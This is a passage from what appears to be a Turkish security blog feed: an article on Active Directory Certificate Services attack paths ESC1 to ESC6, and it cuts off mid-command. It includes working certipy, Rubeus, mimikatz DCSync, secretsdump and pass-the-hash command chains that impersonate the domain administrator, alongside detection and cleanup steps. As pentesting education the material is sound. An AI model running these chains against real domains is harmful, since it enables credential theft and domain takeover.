&lt;li&gt;PowerView: &lt;code&gt;github.com/PowerShellMafia/PowerSploit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Impacket: &lt;code&gt;github.com/fortra/impacket&lt;/code&gt; (DCSync, AS-REP roasting, Kerberoasting)&lt;/li&gt;
&lt;li&gt;Certipy: &lt;code&gt;github.com/ly4k/Certipy&lt;/code&gt; (ADCS saldırı ve analiz)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>AD Sertifika Servisleri Derinlemesine: ESC1&#39;den ESC8&#39;e Tüm Saldırı Yolları</title>
    <link href="https://tagmachan.com/ad-sertifika-servisleri-derinlemesine-esc1den-esc8e-tum-saldiri-yollari.tagox"/>
    <updated>2026-06-29T09:00:00Z</updated>
    <id>https://tagmachan.com/ad-sertifika-servisleri-derinlemesine-esc1den-esc8e-tum-saldiri-yollari.tagox</id>
    <category term="Security Research"/>
    <summary>ESC1&#39;den ESC10&#39;a her ADCS yanlış yapılandırmasının derinlemesine analizi: şablon flag analizi, sertifika anatomisi, NTLM relay zincirleri, ManageCA abuse ve ESC8+PetitPotam kombinasyonu — certipy walkthrough ve savunmalar. SpecterOps &#39;Certified Pre-Owned&#39; araştırmasına atıfla.</summary>
    <content type="html">&lt;h3&gt;Giriş: PKI&#39;nın Karanlık Yüzü&lt;/h3&gt;
&lt;p&gt;Active Directory Certificate Services (ADCS), Microsoft&#39;un kurumsal ortamlar için sunduğu Public Key Infrastructure (PKI) çözümüdür. Şirket içi sertifika yönetimi, akıllı kart kimlik doğrulaması, VPN sertifikaları, e-posta şifreleme ve kod imzalama gibi kritik işlevleri yerine getirir. Kurumsal Active Directory ortamlarının büyük çoğunluğunda en az bir ADCS sunucusu bulunur — ve bu sunucular onlarca yıl boyunca güvenlik testlerinin radarına girmeden çalışmıştır.&lt;/p&gt;
&lt;p&gt;2021 yılında SpecterOps&#39;tan &lt;strong&gt;Will Schroeder&lt;/strong&gt; ve &lt;strong&gt;Lee Christensen&lt;/strong&gt;, &amp;quot;&lt;strong&gt;Certified Pre-Owned&lt;/strong&gt;&amp;quot; başlıklı devasa bir teknik araştırma yayımladı. Bu araştırma, ADCS&#39;in nasıl domain ele geçirme silahına dönüştürülebileceğini 8 farklı saldırı kategorisiyle (ESC1–ESC8) belgeledi. Araştırmacıların keşfi son derece çarpıcıydı: &lt;strong&gt;Bir ADCS yanlış yapılandırması, domain&#39;i tek bir certipy komutuyla teslim edebilir.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bu yazıda ESC1&#39;den ESC8&#39;e (ve ESC9/ESC10&#39;a değinerek) tüm saldırı vektörlerini, her birinin teknik koşullarını, LDAP attribute&#39;larını, OID değerlerini ve adım adım sömürü yöntemlerini inceleyeceğiz.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/adcs-deep-dive-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ADCS Mimarisi: Temel Kavramlar&lt;/h3&gt;
&lt;h4&gt;Root CA vs Enterprise CA&lt;/h4&gt;
&lt;p&gt;ADCS&#39;de iki temel CA türü vardır:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Root CA (Kök Sertifika Otoritesi):&lt;/strong&gt; PKI hiyerarşisinin en tepesinde yer alır. Kendi sertifikasını kendisi imzalar (self-signed). Kurumsal best practice&#39;e göre offline tutulur ve doğrudan sertifika vermez.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Subordinate / Enterprise CA (Alt Sertifika Otoritesi):&lt;/strong&gt; Root CA tarafından imzalanmış bir sertifikaya sahiptir. Active Directory&#39;e entegre çalışır ve domain üyelerine sertifika verir. &lt;code&gt;CORP-CA&lt;/code&gt; gibi isimler alır.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Enterprise CA, Active Directory&#39;deki aşağıdaki container&#39;larda kayıtlıdır:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Certificate Template Nedir?&lt;/h4&gt;
&lt;p&gt;Sertifika şablonu (certificate template), bir CA&#39;nın nasıl sertifika üreteceğini tanımlayan bir politika nesnesidir. LDAP&#39;ta şu yerde bulunur:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Her şablon, aşağıdaki kritik attribute&#39;lara sahiptir:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Açıklama&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msPKI-Certificate-Name-Flag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SAN kontrolü (ESC1 burada yaşar)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msPKI-Enrollment-Flag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Onay gereksinimi, PEND_ALL_REQUESTS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pKIExtendedKeyUsage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;EKU OID listesi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msPKI-RA-Signature&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enrollment agent imzası gereksinimi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nTSecurityDescriptor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Template üzerindeki ACL (ESC4 burada)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msPKI-Certificate-Application-Policy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Application policies&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;EKU OID&#39;leri ve Anlamları&lt;/h4&gt;
&lt;p&gt;Extended Key Usage (EKU), bir sertifikanın hangi amaçla kullanılabileceğini belirtir:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OID&lt;/th&gt;
&lt;th&gt;Kullanım Adı&lt;/th&gt;
&lt;th&gt;ADCS Relevansı&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1.3.6.1.5.5.7.3.2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Client Authentication&lt;/td&gt;
&lt;td&gt;ESC1/ESC2 için gerekli&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1.3.6.1.5.2.3.4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PKINIT Client Auth&lt;/td&gt;
&lt;td&gt;Kerberos PKINIT ile kimlik doğrulama&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1.3.6.1.4.1.311.20.2.2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Smart Card Logon&lt;/td&gt;
&lt;td&gt;Windows akıllı kart girişi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2.5.29.37.0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Any Purpose&lt;/td&gt;
&lt;td&gt;ESC2 — tüm amaçlar için geçerli&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1.3.6.1.4.1.311.20.2.1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enrollment Agent&lt;/td&gt;
&lt;td&gt;ESC3 — başkası adına enrollment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1.3.6.1.5.5.7.3.3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Code Signing&lt;/td&gt;
&lt;td&gt;Kod imzalama&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Enrollment Süreci&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Client, bir Certificate Signing Request (CSR) oluşturur&lt;/li&gt;
&lt;li&gt;CSR, CA&#39;ya gönderilir (RPC, DCOM veya HTTP certsrv)&lt;/li&gt;
&lt;li&gt;CA, template politikasını kontrol eder&lt;/li&gt;
&lt;li&gt;Onay gerekmiyorsa (CT_FLAG_PEND_ALL_REQUESTS yoksa) sertifika anında verilir&lt;/li&gt;
&lt;li&gt;Sertifika, client&#39;ın sertifika deposuna (certificate store) eklenir&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/adcs-certificate-anatomy.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Keşif: Ortamı Haritalandırmak&lt;/h3&gt;
&lt;h4&gt;Certipy ile Vulnerable Template Keşfi&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Temel vulnerable template taraması
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -vulnerable -stdout

# BloodHound için JSON çıktısı (eski format)
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -old-bloodhound

# Tüm template detayları (vulnerable olmayanlar dahil)
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -stdout

# Pass-the-Hash ile
certipy find -u jdoe@corp.local -hashes &#39;:NT_HASH_HERE&#39; -dc-ip 10.10.10.10 -vulnerable -stdout

# Kerberos ticket ile
certipy find -u jdoe@corp.local -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Windows&#39;tan Certify.exe ile&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Tüm vulnerable template&#39;leri bul
Certify.exe find /vulnerable /currentuser

# Tüm template&#39;leri listele
Certify.exe find /showAllPermissions

# Belirli bir CA&#39;yı sorgula
Certify.exe find /ca:CORP-CA /vulnerable

# PKIAudit modülü ile
Import-Module PKIAudit
Get-PKIAuditSettings -CA &#39;corp.local&#92;CORP-CA&#39;
Invoke-PKIAudit
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;LDAP ile Manuel Keşif&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# ldapsearch ile ESC1 potansiyeli olan şablonları bul
ldapsearch -H ldap://10.10.10.10 &#92;
  -D &amp;quot;jdoe@corp.local&amp;quot; -w &#39;Password123&#39; &#92;
  -b &amp;quot;CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local&amp;quot; &#92;
  &amp;quot;(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)&amp;quot; &#92;
  msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pKIExtendedKeyUsage
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;BloodHound&#39;da ADCS&lt;/h4&gt;
&lt;p&gt;BloodHound 4.2+ sürümünde ADCS edge&#39;leri mevcuttur:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Enroll&lt;/code&gt; — Template&#39;e enrollment hakkı&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GenericWrite&lt;/code&gt; — Template&#39;i yazabilme (ESC4)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WriteDACL&lt;/code&gt; — Template DACL&#39;ini değiştirme (ESC4)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ManageCertificates&lt;/code&gt; — CA üzerinde yönetim (ESC7)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ManageCA&lt;/code&gt; — CA konfigürasyonunu değiştirme (ESC7)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ESC1 — ENROLLEE_SUPPLIES_SUBJECT: En Yaygın ADCS Açığı&lt;/h3&gt;
&lt;p&gt;ESC1, en sık karşılaşılan ve en dramatik sonuçlar doğuran ADCS açığıdır. Saldırgan, enrollment sırasında Subject Alternative Name (SAN) alanını kendisi belirleyebilir ve bu sayede herhangi bir domain kullanıcısını — hatta Domain Admin&#39;i — taklit edebilir.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/adcs-esc1-conditions.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Dört Zorunlu Koşul&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Koşul 1 — CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Şablon üzerinde aşağıdaki flag set edilmiş olmalıdır:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x00000001)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu flag, CA&#39;ya &amp;quot;enrollment yapan kişi SAN alanını kendisi belirleyebilir&amp;quot; demektedir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Koşul 2 — Client Authentication EKU:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Şablon, aşağıdakilerden en az birini içermelidir:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2   (Client Authentication)
pKIExtendedKeyUsage: 1.3.6.1.5.2.3.4      (PKINIT Client Auth)
pKIExtendedKeyUsage: 1.3.6.1.4.1.311.20.2.2  (Smart Card Logon)
pKIExtendedKeyUsage: 2.5.29.37.0           (Any Purpose - ESC2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu EKU değerlerinden biri mevcut değilse, elde edilen sertifika Kerberos PKINIT ile kimlik doğrulamak için kullanılamaz.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Koşul 3 — No Manager Approval:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msPKI-Enrollment-Flag: 0x00000000  (veya CT_FLAG_PEND_ALL_REQUESTS flag&#39;i OLMAMALI)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;CT_FLAG_PEND_ALL_REQUESTS (0x00000002)&lt;/code&gt; flag&#39;i varsa, tüm enrollment istekleri CA yöneticisinin onayını bekler. Bu durumda ESC1 saldırısı engellenmiş olur.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Koşul 4 — Low-Privilege Users Can Enroll:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Template DACL&#39;inde aşağıdaki gibi bir ACE bulunmalıdır:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Allow: CORP&#92;Domain Users — Certificate-Enrollment (Extended Right: 0F58D46F-5A46-11D1-86F6-00C04FB9988E)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;veya&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Allow: NT AUTHORITY&#92;Authenticated Users — Certificate-Enrollment
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Certipy ile ESC1 Saldırısı — Adım Adım&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Adım 1: Vulnerable template&#39;i bul
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -vulnerable -stdout
# Çıktıda: &amp;quot;[!] ESC1 — &#39;VulnerableTemplate&#39;&amp;quot; görmelisiniz

# Adım 2: Administrator UPN ile sertifika iste
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template VulnerableTemplate &#92;
  -upn administrator@corp.local &#92;
  -dc-ip 10.10.10.10

# Çıktı:
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 42
# [*] Got certificate with UPN &#39;administrator@corp.local&#39;
# [*] Certificate object SID is &#39;S-1-5-21-...-500&#39;
# [*] Saved certificate and private key to &#39;administrator.pfx&#39;

# Adım 3: Sertifika ile Kerberos kimlik doğrulaması
certipy auth &#92;
  -pfx administrator.pfx &#92;
  -dc-ip 10.10.10.10 &#92;
  -domain corp.local

# Çıktı:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to &#39;administrator.ccache&#39;
# [*] Trying to retrieve NT hash for &#39;administrator&#39;
# [*] Got NT hash for &#39;administrator@corp.local&#39;: 31d6cfe0d16ae931b73c59d7e0c089c0

# Adım 4: NT Hash ile secretsdump
python3 secretsdump.py &#92;
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 &#92;
  administrator@10.10.10.10

# Veya Pass-the-Hash
python3 wmiexec.py &#92;
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 &#92;
  administrator@10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Windows&#39;tan Certify + Rubeus ile&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Adım 1: Sertifika iste
Certify.exe request /ca:CORP-CA /template:VulnerableTemplate /altname:administrator

# Base64 çıktısını kopyala, Linux&#39;ta dönüştür:
# openssl pkcs12 -in cert.pem -keyex -CSP &amp;quot;Microsoft Enhanced Cryptographic Provider v1.0&amp;quot; -export -out administrator.pfx

# Adım 2: Rubeus ile TGT al
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:&amp;quot;&amp;quot; /nowrap

# Adım 3: TGT&#39;yi import et
Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

# Adım 4: DCSync
mimikatz.exe &amp;quot;lsadump::dcsync /domain:corp.local /all&amp;quot; &amp;quot;exit&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Neden Bu Kadar Tehlikeli?&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Yetki gerektirmez:&lt;/strong&gt; Domain Users grubundaki herhangi bir kullanıcı saldırıyı gerçekleştirebilir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tek komutla Domain Admin:&lt;/strong&gt; Enrollment → TGT → NT hash zinciri 3 komutla tamamlanır.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Log kaydı azdır:&lt;/strong&gt; Sertifika enrollment işlemi meşru görünür; anormal olan sadece UPN değeridir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kalıcılık sağlar:&lt;/strong&gt; Sertifika süresi boyunca (genellikle 1-2 yıl) geçerlidir.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;ESC2 — Any Purpose EKU: Kısıtsız Sertifika&lt;/h3&gt;
&lt;p&gt;ESC2, şablonun EKU alanında &lt;code&gt;szOID_ANY_APPLICATION_POLICY (2.5.29.37.0)&lt;/code&gt; OID&#39;ine sahip olması veya EKU alanının tamamen boş olması durumunda geçerlidir.&lt;/p&gt;
&lt;h4&gt;Teknik Detay&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;pKIExtendedKeyUsage: 2.5.29.37.0  (Any Purpose)
# veya EKU alanı hiç yoksa (tüm kullanımlar izinli)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Any Purpose&lt;/code&gt; EKU&#39;su, sertifikanın herhangi bir amaç için — Kerberos kimlik doğrulaması, enrollment agent olarak kullanım, kod imzalama vb. — geçerli olduğunu belirtir. Bu da ESC1&#39;deki gibi Client Authentication gereksinimini karşılar.&lt;/p&gt;
&lt;h4&gt;ESC2 Saldırı Vektörü&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# ESC2 template ile sertifika al (SAN belirtmeden)
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template AnyPurposeTemplate &#92;
  -dc-ip 10.10.10.10

# Bu sertifikayı ESC3 saldırısında enrollment agent olarak kullan
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template User &#92;
  -on-behalf-of &#39;corp&#92;administrator&#39; &#92;
  -pfx anypurpose.pfx &#92;
  -dc-ip 10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ESC2, tek başına kullanıldığında SAN kontrolü yoksa sınırlı bir tehdit oluşturur; ancak ESC3 pivot noktası olarak çok tehlikeli hale gelir.&lt;/p&gt;
&lt;h3&gt;ESC3 — Certificate Request Agent: Başkası Adına Enrollment&lt;/h3&gt;
&lt;p&gt;ESC3, iki farklı sertifika şablonunu zincir saldırı olarak kullanan karmaşık bir yöntemdir. İlk şablon Enrollment Agent EKU içerirken, ikinci şablon bu agent sertifikasının başka kullanıcılar adına kullanılmasına izin verir.&lt;/p&gt;
&lt;h4&gt;Koşullar&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Şablon 1 — Enrollment Agent Şablonu:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EKU: &lt;code&gt;szOID_ENROLLMENT_AGENT (1.3.6.1.4.1.311.20.2.1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Enrollment: Domain Users&lt;/li&gt;
&lt;li&gt;Onay: Gerekmez&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Şablon 2 — On-Behalf-Of İzni:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;msPKI-RA-Signature: 0&lt;/code&gt; (enrollment agent imzası gerektirmez)&lt;/li&gt;
&lt;li&gt;veya enrollment agent&#39;ın bu şablonda enrollment hakkı var&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Certipy ile ESC3 Saldırısı&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Adım 1: Enrollment Agent sertifikası al
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template ESC3-CertRequestAgent &#92;
  -dc-ip 10.10.10.10
# Çıktı: jdoe.pfx (enrollment agent sertifikası)

# Adım 2: Agent sertifikasıyla administrator adına sertifika iste
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template User &#92;
  -on-behalf-of &#39;corp&#92;administrator&#39; &#92;
  -pfx jdoe.pfx &#92;
  -dc-ip 10.10.10.10
# Çıktı: administrator.pfx

# Adım 3: Kimlik doğrulaması
certipy auth &#92;
  -pfx administrator.pfx &#92;
  -dc-ip 10.10.10.10 &#92;
  -domain corp.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Gerçek Dünya Senaryosu&lt;/h4&gt;
&lt;p&gt;ESC3 için genellikle iki ayrı şablona ihtiyaç duyulur. Bu iki şablon farklı isimlerde olabilir ve BloodHound&#39;da görünür. &lt;code&gt;msPKI-RA-Signature: 0&lt;/code&gt; olan herhangi bir kullanıcı şablonu, ESC3&#39;ün ikinci adımı için hedef olabilir.&lt;/p&gt;
&lt;h3&gt;ESC4 — Template Access Control Abuse: DACL Manipülasyonu&lt;/h3&gt;
&lt;p&gt;ESC4, bir şablon üzerinde yazma iznine sahip olan (GenericWrite, WriteDACL, WriteOwner, GenericAll) bir kullanıcının o şablonu ESC1&#39;e dönüştürebileceği saldırıdır.&lt;/p&gt;
&lt;h4&gt;Koşullar&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Hedef şablon üzerinde:
- GenericWrite ACE, veya
- WriteDACL ACE, veya
- WriteOwner ACE, veya
- GenericAll ACE
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Certipy ile ESC4 Saldırısı&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Adım 1: Mevcut şablon yapılandırmasını kaydet (geri almak için)
certipy template &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -template VulnerableTemplate &#92;
  -save-old &#92;
  -dc-ip 10.10.10.10
# Çıktı: VulnerableTemplate.json (backup)

# Adım 2: Şablonu ESC1&#39;e dönüştür
# certipy otomatik olarak:
# - msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ekler
# - CT_FLAG_PEND_ALL_REQUESTS kaldırır
# - Domain Users&#39;a enrollment hakkı verir
certipy template &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -template VulnerableTemplate &#92;
  -dc-ip 10.10.10.10

# Adım 3: ESC1 saldırısı yap
certipy req &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -ca CORP-CA &#92;
  -template VulnerableTemplate &#92;
  -upn administrator@corp.local &#92;
  -dc-ip 10.10.10.10

# Adım 4: Kimlik doğrulaması
certipy auth &#92;
  -pfx administrator.pfx &#92;
  -dc-ip 10.10.10.10

# Adım 5: TEMİZLİK — Şablonu eski haline getir (önemli!)
certipy template &#92;
  -u jdoe@corp.local &#92;
  -p &#39;Password123&#39; &#92;
  -template VulnerableTemplate &#92;
  -configuration VulnerableTemplate.json &#92;
  -dc-ip 10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Windows&#39;tan PowerView ile&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Şablon üzerinde WriteDACL varsa
Import-Module PowerView

# Önce mevcut DACL&#39;i gör
Get-DomainObjectAcl -Identity &amp;quot;VulnerableTemplate&amp;quot; -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -match &amp;quot;S-1-5-21-...-1105&amp;quot; }

# GenericAll ver (ardından ESC1 uygula)
Add-DomainObjectAcl &#92;
  -TargetIdentity &amp;quot;VulnerableTemplate&amp;quot; &#92;
  -PrincipalIdentity &amp;quot;jdoe&amp;quot; &#92;
  -Rights All
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ESC5 — PKI Object / CA Object DACL: Altyapı Kontrolü&lt;/h3&gt;
&lt;p&gt;ESC5, CA nesnesinin kendisi veya PKI container&#39;ları üzerindeki DACL zafiyetlerini kapsar. Bu kategori geniştir ve şunları içerir:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CA Nesnesindeki WriteDACL:&lt;/strong&gt; &lt;code&gt;CN=CORP-CA,CN=Enrollment Services,...&lt;/code&gt; üzerinde yazma izni&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PKI Container&#39;larındaki DACL:&lt;/strong&gt; &lt;code&gt;CN=Public Key Services,...&lt;/code&gt; üzerinde izinler&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CA makinesinin kendisindeki&lt;/strong&gt; yönetim hakları&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ESC5, domain&#39;deki PKI altyapısının kontrolünü ele geçirmeye yarar.&lt;/p&gt;
&lt;h4&gt;BloodHound&#39;da ESC5 Tespiti&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;MATCH (u:User)-[:WriteDACL|GenericWrite|GenericAll]-&amp;gt;(c:Domain)
WHERE c.name CONTAINS &amp;quot;CA&amp;quot;
RETURN u, c
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2: CA Seviyesi Flag&lt;/h3&gt;
&lt;p&gt;ESC6, CA&#39;nın kendisinde set edilmiş olan &lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt; flag&#39;inden kaynaklanır. Bu flag, &lt;strong&gt;herhangi bir şablonda&lt;/strong&gt; SAN belirlemeye izin verir — şablon &lt;code&gt;CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; içermese bile.&lt;/p&gt;
&lt;h4&gt;Flag&#39;i Kontrol Etme&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# certutil ile kontrol (Windows)
certutil -config &amp;quot;corp.local&#92;CORP-CA&amp;quot; -getreg &amp;quot;policy&#92;EditFlags&amp;quot;

# Çıktıda 0x00040000 (EDITF_ATTRIBUTESUBJECTALTNAME2) varsa ESC6!
# Örnek çıktı:
# HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Services&#92;CertSvc&#92;Configuration&#92;CORP-CA&#92;PolicyModules&#92;...
# EditFlags REG_DWORD = 0x15014e (1380686)

# Certipy ile de tespit edilir
certipy find -u jdoe@corp.local -p &#39;Password123&#39; -dc-ip 10.10.10.10 -vulnerable -stdout
# [!] ESC6 — CA &#39;CORP-CA&#39;: EDITF_ATTRIBUTESUBJECTALTNAME2 set
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;ESC6 Saldırısı&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# EDITF_ATTRIBUTESUBJECTALTNAME2 aktifse, normal bir User şablonuyla bile UPN belirlenebilir
certipy req &#92;
